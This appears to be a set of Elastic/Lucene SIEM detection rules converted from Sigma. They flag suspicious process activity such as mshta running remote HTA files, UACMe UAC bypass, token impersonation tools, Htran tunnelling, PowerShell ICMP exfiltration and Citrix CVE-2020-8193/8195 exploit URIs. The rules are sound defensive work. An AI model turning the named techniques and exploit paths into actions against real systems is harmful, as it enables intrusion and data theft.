{"description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24e0f66c-0d30-f332-41df-ed24eb169d7c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Renamed FTP.EXE Binary Execution", "query": "(winlog.event_data.OriginalFileName:\"ftp.exe\" AND (NOT (process.executable.text:*\\\\ftp.exe)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059", "T1202"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Victor Sergeev", "oscd.community"], "license": ""}
{"description": "Detects execution of renamed paexec via imphash and executable product string", "enabled": false, "false_positives": ["Unknown imphashes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "81d8db8f-9d5e-feba-614f-f5c6db0b18b3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Execution of Renamed PaExec", "query": "((Product:*PAExec* AND (winlog.event_data.Imphash:(\"11D40A7B7876288F919AB819CC2D9802\" OR \"6444f8a34e99b8f7d9647de66aabe516\" OR \"dfd6aa3f7b2b1035b76b718f1ddc689f\" OR \"1a6cca4d5460b1710a12dea39e4a592c\") OR winlog.event_data.Hashes:(*IMPHASH\\=11D40A7B7876288F919AB819CC2D9802* OR *IMPHASH\\=6444f8a34e99b8f7d9647de66aabe516* OR *IMPHASH\\=dfd6aa3f7b2b1035b76b718f1ddc689f* OR *IMPHASH\\=1a6cca4d5460b1710a12dea39e4a592c*))) AND (NOT (process.executable:*paexec*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", ""], "timestamp_override": "event.ingested", "author": ["Jason Lynch"], "license": ""}
{"description": "Detects execution of ruby using the \"-e\" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ca97f20c-40a7-3c17-41af-da3f4a409f0a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Ruby Inline Command Execution", "query": "(((process.executable.text:*\\\\ruby.exe) OR (winlog.event_data.OriginalFileName:\"ruby.exe\")) AND process.command_line.text:*\\ \\-e*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the \"groupdel\" binary. Which is used to delete a group. This is sometimes abused by threat actors in order to cover their tracks", "author": ["Tuan Le (NCSGroup)"], "enabled": false, "false_positives": ["Legitimate administrator activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b3f5ecf6-6ebe-36ad-427a-e072c6e33fff", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Group Has Been Deleted Via Groupdel", "query": "process.executable.text:*\\/groupdel", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1531"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1531", "name": "Account Access Removal", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "39ff844e-bf2e-1f93-bcf3-249b2add249b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Mofcomp Execution", "query": "(process.executable:*\\\\mofcomp.exe AND (process.parent.executable:(*\\\\cmd.exe OR *\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\wsl.exe OR *\\\\wscript.exe OR *\\\\cscript.exe) OR process.command_line:(*\\\\AppData\\\\Local\\\\Temp* OR *\\\\Users\\\\Public\\\\* OR *\\\\WINDOWS\\\\Temp\\\\* OR *%temp%* OR *%appdata%*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "719c4297-203f-8dbe-25a4-e92731a78a6f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mshta Remotely Hosted HTA File Execution", "query": "((process.executable.text:*\\\\mshta.exe OR winlog.event_data.OriginalFileName:\"MSHTA.EXE\") AND process.command_line.text:(*http\\:\\/\\/* OR *https\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of the \"userdel\" binary. Which is used to delete a user account and related files. This is sometimes abused by threat actors in order to cover their tracks", "author": ["Tuan Le (NCSGroup)"], "enabled": false, "false_positives": ["Legitimate administrator activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fe52ea47-e8ed-32ed-9c5a-14f03536112f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "User Has Been Deleted Via Userdel", "query": "process.executable.text:*\\/userdel", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1531"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1531", "name": "Account Access Removal", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th postiional argument", "author": ["Nasreddine Bencherchali", "memory-shards"], "enabled": false, "false_positives": ["Legitimate use via Intune management. You exclude script paths and names to reduce FP rate"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5202ccbb-d5b0-006a-7fa4-c651c05eed5f", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "AgentExecutor PowerShell Execution", "query": "(((process.executable.text:\"\\AgentExecutor.exe\") OR (winlog.event_data.OriginalFileName:\"AgentExecutor.exe\")) AND process.command_line.text:(*\\ \\-powershell* OR *\\ \\-remediationScript*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy \"Bypass\" or any binary named \"powershell.exe\" located in the path provided by 6th postiional argument", "author": ["Nasreddine Bencherchali", "memory-shards"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "beb1b849-51b7-38a2-ae10-c7f84a51bdc1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious AgentExecutor PowerShell Execution", "query": "((((process.executable.text:*\\\\AgentExecutor.exe) OR (winlog.event_data.OriginalFileName:\"AgentExecutor.exe\")) AND process.command_line.text:(*\\ \\-powershell* OR *\\ \\-remediationScript*)) AND (NOT (process.command_line.text:(*C\\:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\* OR *C\\:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the binary \"wpbbin\" which is used as part of the UEFI based persistence method described in the refernece section", "enabled": false, "false_positives": ["Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd5686e1-acf0-914e-86f1-e30cac223609", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UEFI Persistence Via Wpbbin - ProcessCreation", "query": "process.executable:\"C\\:\\\\Windows\\\\System32\\\\wpbbin.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1542"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "author": ["Sai Prashanth Pulisetti @pulisettis"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "40fc5f3a-60ae-ffed-8e08-6d53fb7408f3", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Impersonate Execution", "query": "(((process.command_line.text:*impersonate.exe* AND process.command_line.text:(*\\ list\\ * OR *\\ exec\\ * OR *\\ adduser\\ *))) OR (((winlog.event_data.Hashes:(*MD5\\=9520714AB576B0ED01D1513691377D01* OR *SHA256\\=E81CC96E2118DC4FBFE5BAD1604E0AC7681960143E2101E1A024D52264BB0A8A* OR *IMPHASH\\=0A358FFC1697B7A07D0E817AC740DF62*)) OR (md5:\"9520714AB576B0ED01D1513691377D01\") OR (sha256:\"E81CC96E2118DC4FBFE5BAD1604E0AC7681960143E2101E1A024D52264BB0A8A\") OR (winlog.event_data.Imphash:\"0A358FFC1697B7A07D0E817AC740DF62\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "Privilege Escalation", "T1134", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.", "enabled": false, "false_positives": ["Other parent processes other than notepad++ using GUP that are not currently identified"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "879047fd-1fe0-d717-22e6-c9bde4fb0df0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Download Files Using Notepad++ GUP Utility", "query": "(((process.executable:*\\\\GUP.exe OR winlog.event_data.OriginalFileName:\"gup.exe\") AND (process.command_line:*\\ \\-unzipTo\\ * AND process.command_line:*http*)) AND (NOT (process.parent.executable:*\\\\notepad\\+\\+.exe)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1105"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of the Notepad++ updater (gup) to launch other commands or executables", "enabled": false, "false_positives": ["Other parent binaries using GUP not currently identified"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ad4cda8-5856-20af-48f7-e618cd7322fd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execute Arbitrary Binaries Using GUP Utility", "query": "((process.parent.executable.text:*\\\\gup.exe AND process.executable.text:*\\\\explorer.exe) AND (NOT ((process.executable.text:*\\\\explorer.exe AND process.command_line.text:*\\\\Notepad\\+\\+\\\\notepad\\+\\+.exe*) OR (process.parent.executable.text:*\\\\Notepad\\+\\+\\\\updater\\\\*) OR (NOT _exists_:process.command_line.text))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects execution of the Notepad++ updater in a suspicious directory, which is often used in DLL side-loading attacks", "enabled": false, "false_positives": ["Execution of tools named GUP.exe and located in folders different than Notepad++\\updater"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2ae31032-f6b1-c2d7-f0a8-3683360aba4b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious GUP Usage", "query": "(process.executable:*\\\\GUP.exe AND (NOT (process.executable:(*\\\\Users\\\\*\\\\AppData\\\\Local\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Program\\ Files\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe OR *\\\\Program\\ Files\\ \$x86\$\\\\Notepad\\+\\+\\\\updater\\\\GUP.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively", "author": ["Sai Prashanth Pulisetti @pulisettis", "Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cee538b7-2c76-3a32-04f9-20c87aac5494", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SharpImpersonation Execution", "query": "((process.executable.text:*\\\\SharpImpersonation.exe) OR (winlog.event_data.OriginalFileName:\"SharpImpersonation.exe\") OR ((process.command_line.text:*\\ user\\:* AND process.command_line.text:*\\ binary\\:*)) OR ((process.command_line.text:*\\ user\\:* AND process.command_line.text:*\\ shellcode\\:*)) OR (process.command_line.text:(*\\ technique\\:CreateProcessAsUserW* OR *\\ technique\\:ImpersonateLoggedOnuser*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1134", "T1134"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1134", "name": "Access Token Manipulation", "reference": ""}, {"id": "T1134", "name": "Access Token Manipulation", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bb5a83a5-24cc-f513-929c-5ef7aaa9af91", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Tool UACMe Akagi", "query": "(Product:\"UACMe\" OR Company:(\"REvol\\ Corp\" OR \"APT\\ 92\" OR \"UG\\ North\" OR \"Hazardous\\ Environments\" OR \"CD\\ Project\\ Rekt\") OR winlog.event_data.Description:(\"UACMe\\ main\\ module\" OR \"Pentesting\\ utility\") OR winlog.event_data.OriginalFileName:(\"Akagi.exe\" OR \"Akagi64.exe\") OR process.executable.text:(*\\\\Akagi64.exe OR *\\\\Akagi.exe) OR winlog.event_data.Hashes:(*IMPHASH\\=767637C23BB42CD5D7397CF58B0BE688* OR *IMPHASH\\=14C4E4C72BA075E9069EE67F39188AD8* OR *IMPHASH\\=3C782813D4AFCE07BBFC5A9772ACDBDC* OR *IMPHASH\\=7D010C6BB6A3726F327F7E239166D127* OR *IMPHASH\\=89159BA4DD04E4CE5559F132A9964EB3* OR *IMPHASH\\=6F33F4A5FC42B8CEC7314947BD13F30F* OR *IMPHASH\\=5834ED4291BDEB928270428EBBAF7604* OR *IMPHASH\\=5A8A8A43F25485E7EE1B201EDCBC7A38* OR *IMPHASH\\=DC7D30B90B2D8ABF664FBED2B1B59894* OR *IMPHASH\\=41923EA1F824FE63EA5BEB84DB7A3E74* OR *IMPHASH\\=3DE09703C8E79ED2CA3F01074719906B*) OR IMPHASH:(\"767637c23bb42cd5d7397cf58b0be688\" OR \"14c4e4c72ba075e9069ee67f39188ad8\" OR \"3c782813d4afce07bbfc5a9772acdbdc\" OR \"7d010c6bb6a3726f327f7e239166d127\" OR \"89159ba4dd04e4ce5559f132a9964eb3\" OR \"6f33f4a5fc42b8cec7314947bd13f30f\" OR \"5834ed4291bdeb928270428ebbaf7604\" OR \"5a8a8a43f25485e7ee1b201edcbc7a38\" OR \"dc7d30b90b2d8abf664fbed2b1b59894\" OR \"41923ea1f824fe63ea5beb84db7a3e74\" OR \"3de09703c8e79ed2ca3f01074719906b\"))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard", "Florian Roth"], "license": ""}
{"description": "Detects execution of wab.exe (Windows Contacts) from non default locations as seen with bumblebee activity", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "513e8e8b-7abe-f258-d733-3d8ff0687899", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Wab Execution From Non Default Location", "query": "(process.executable.text:*\\\\wab.exe AND (NOT (process.executable.text:(C\\:\\\\Windows\\\\WinSxS\\\\* OR C\\:\\\\Program\\ Files\\\\Windows\\ Mail\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\Windows\\ Mail\\\\*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a2751010-d2f0-3e5e-fa9e-a08573b4ded4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via CL_Mutexverifiers.ps1", "query": "(powershell.file.script_block_text:*CL_Mutexverifiers.ps1* AND powershell.file.script_block_text:*runAfterCancelProcess*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a2751010-d2f0-3e5e-fa9e-a08573b4ded4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via CL_Mutexverifiers.ps1", "query": "(process.command_line:*CL_Mutexverifiers.ps1* AND process.command_line:*runAfterCancelProcess*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "724ea4e9-6c31-960c-f962-7ef4d0792407", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via CL_Invocation.ps1", "query": "(powershell.file.script_block_text:*CL_Invocation.ps1* AND powershell.file.script_block_text:*SyncInvoke*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "724ea4e9-6c31-960c-f962-7ef4d0792407", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via CL_Invocation.ps1", "query": "(process.command_line:*CL_Invocation.ps1* AND process.command_line:*SyncInvoke*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "Signed Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "724ea4e9-6c31-960c-f962-7ef4d0792407", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via CL_Invocation.ps1", "query": "(process.command_line.text:*CL_Invocation.ps1* AND process.command_line.text:*SyncInvoke*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects exeuctable names or flags used by Htran or Htran-like tools (e.g. NATBypass)", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ed7cfd2e-098b-de99-35ca-c6102649c5be", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Htran or NATBypass Markers", "query": "((process.executable.text:(*\\\\htran.exe OR *\\\\lcx.exe)) OR (process.command_line.text:(*.exe\\ \\-tran\\ * OR *.exe\\ \\-slave\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1090"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Exfiltration Over Alternative Protocol - ICMP. Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.", "enabled": false, "false_positives": ["Legitimate usage of System.Net.NetworkInformation.Ping class"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3725a620-e55b-5ebd-759c-c89c7845e8a9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell ICMP Exfiltration", "query": "(powershell.file.script_block_text:*New\\-Object* AND powershell.file.script_block_text:*System.Net.NetworkInformation.Ping* AND powershell.file.script_block_text:*.Send\\(*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1048"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0010", "reference": "", "name": "Exfiltration"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1048", "name": "Exfiltration Over Alternative Protocol", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bartlomiej Czyz @bczyz1", "oscd.community"], "license": ""}
{"description": "Detects exploitation attempt against Citrix Netscaler, Application Delivery Controller (ADS) and Citrix Gateway exploiting vulnerabilities reported as CVE-2020-8193 and CVE-2020-8195", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8a632484-a557-20f8-4b37-f0676ff43c21", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Citrix ADS Exploitation CVE-2020-8193 CVE-2020-8195", "query": "((cs-uri-query:*\\/rapi\\/filedownload?filter\\=path\\:%2F*) OR ((cs-uri-query:*\\/pcidss\\/report* AND cs-uri-query:*type\\=all_signatures* AND cs-uri-query:*sig_name\\=_default_signature_*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
